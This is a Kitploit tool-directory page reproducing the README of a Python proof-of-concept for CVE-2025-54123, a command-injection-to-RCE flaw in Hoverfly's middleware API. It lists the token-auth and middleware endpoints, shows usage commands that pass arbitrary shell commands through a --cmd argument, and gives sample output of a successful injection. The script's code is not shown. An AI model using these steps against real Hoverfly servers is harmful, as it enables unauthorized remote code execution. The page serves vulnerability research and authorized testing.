Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-54123 — Python proof-of-concept for CVE-2025-54123, demonstrating command injection to RCE in Hoverfly middleware API with credential or token-based authentication. | Kitploit
Tools/GitHubGitHub/0xk4rth1/cve-2025-54123
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHub0xk4rth1/cve-2025-54123

CVE-2025-54123

Python proof-of-concept for CVE-2025-54123, demonstrating command injection to RCE in Hoverfly middleware API with credential or token-based authentication.

View Repository
222 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-54123 Hoverfly Command Injection to RCE PoC

Overview

This repository contains a Python proof-of-concept (PoC) script for interacting with Hoverfly instances affected by CVE-2025-54123.

The script supports:

  • Authentication using username/password credentials
  • Authentication using an existing bearer token
  • Interaction with the Hoverfly middleware API endpoint
  • Displaying API response output

Warning

This project is intended solely for authorized security research, testing, and educational purposes. Do not use it against systems without explicit permission.


Requirements

  • Python 3.8+
  • requests

Install dependencies:

root@kitploit:~
pip install requests

Usage

Authenticate with Credentials

root@kitploit:~
python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  -u admin \
  -p password \
  --cmd "id"

Authenticate with an Existing Token

root@kitploit:~
python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  --token <ACCESS_TOKEN> \
  --cmd "id"

Arguments

ArgumentDescription
--targetTarget domain or IP address
--portTarget service port
-uHoverfly username
-pHoverfly password
--tokenExisting bearer token
--cmdCommand string supplied to the middleware endpoint

Authentication Flow

When credentials are supplied:

  1. A POST request is sent to:
root@kitploit:~
/api/token-auth
  1. The returned token is extracted.
  2. The token is used to authenticate subsequent requests.

API Endpoint

The script communicates with:

root@kitploit:~
/api/v2/hoverfly/middleware

using an authenticated PUT request.


Example Output

root@kitploit:~
Approaching target : example.com
Attempting login to http://example.com:8888/api/token-auth
Checking Credentials....
Login Successful!
Injected : id
uid=1000(user) gid=1000(user)

Project Structure

root@kitploit:~
.
├── CVE-2025-54123.py
└── README.md

Disclaimer

This repository is provided for educational, defensive security, and authorized testing purposes only. The author assumes no responsibility for misuse, damage, or legal consequences arising from the use of this software.

Download Tool